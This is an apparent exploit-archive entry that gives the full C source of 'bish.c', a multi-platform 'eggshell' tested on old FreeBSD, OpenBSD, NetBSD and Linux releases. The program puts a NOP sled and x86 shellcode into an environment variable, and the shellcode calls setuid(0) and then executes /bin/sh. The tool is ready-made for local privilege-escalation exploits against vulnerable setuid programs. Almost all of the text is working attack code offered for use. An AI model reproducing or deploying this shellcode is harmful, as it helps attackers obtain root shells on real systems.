Bish.c is multi-platform shellcode tested on FreeBSD 4.6-PRERELEASE, FreeBSD 4.5-RELEASE, OpenBSD 3.0, NetBSD 1.5.2, Linux 2.0.36, Linux 2.2.12-20, and Linux 2.2.16-22. Based on code by Zillion, added setuid().
74d9b908afde9dc5d569ea71e671de85b3c81ce631b4ef0d9bb20b74743289f2
/* bish.c
*
* bob [www.dtors.net]
*
* Generic eggshell, was tested and
* works on:
*
* FreeBSD 4.6-PRERELEASE
* FreeBSD 4.5-RELEASE
* OpenBSD 3.0
* NetBSD 1.5.2
* Linux 2.0.36
* Linux 2.2.12-20
* Linux 2.2.16-22
* Linux 2.4.7-xfs
*
*
* Shellcode by zillion@safemode.org, added setuid().
*/
#include <stdio.h>
#define B "\033[1;30m"
#define R "\033[1;31m"
#define G "\033[1;32m"
#define Y "\033[1;33m"
#define bash "/bin/bash"
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
char bish[512];
memset(bish,0x90,512);
memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(bish,"BISH=",5);
putenv(bish);
fprintf(stdout, "%sBish %sloaded %sinto %senviroment\n", B, R, G, Y);
execl(bash, bash,'\0'); //Use this for Linux
//system(bash); //use this for BSD
return(0);
}